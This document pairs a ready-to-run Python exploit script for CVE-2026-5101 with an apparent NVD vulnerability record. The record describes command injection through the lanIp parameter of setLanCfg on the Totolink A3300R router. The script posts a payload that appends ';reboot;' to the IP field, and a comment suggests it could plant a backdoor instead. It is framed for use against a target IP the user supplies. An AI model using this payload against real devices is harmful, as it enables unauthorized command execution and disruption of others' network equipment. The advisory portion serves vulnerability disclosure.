CVE-2026-5101

import requests def exploit(target_ip): url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json" } # Payload: Injecting a command to reboot the device or create a backdoor # Changing the lanIp to a valid IP followed by a command injection separator data = { "function": "setLanCfg", "lanIp": "192.168.0.1;reboot;" } try: response = requests.post(url, json=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully. Check if command executed.") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with target IP exploit(target)

{"cve": {"id": "CVE-2026-5101", "sourceIdentifier": "[email protected]", "published": "2026-03-29T23:16:48.597", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in Totolink A3300R 17.0.0cu.557_b20221024. This affects the function setLanCfg of the file /cgi-bin/cstecgi.cgi of the component Parameter Handler. The manipulation of the argument lanIp leads to command injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used."}, {"lang": "es", "value": "Una vulnerabilidad fue identificada en Totolink A3300R 17.0.0cu.557_b20221024. Esto afecta a la función setLanCfg del archivo /cgi-bin/cstecgi.cgi del componente Gestor de Parámetros. La manipulación del argumento lanIp conduce a inyección de comandos. La explotación remota del ataque es posible. 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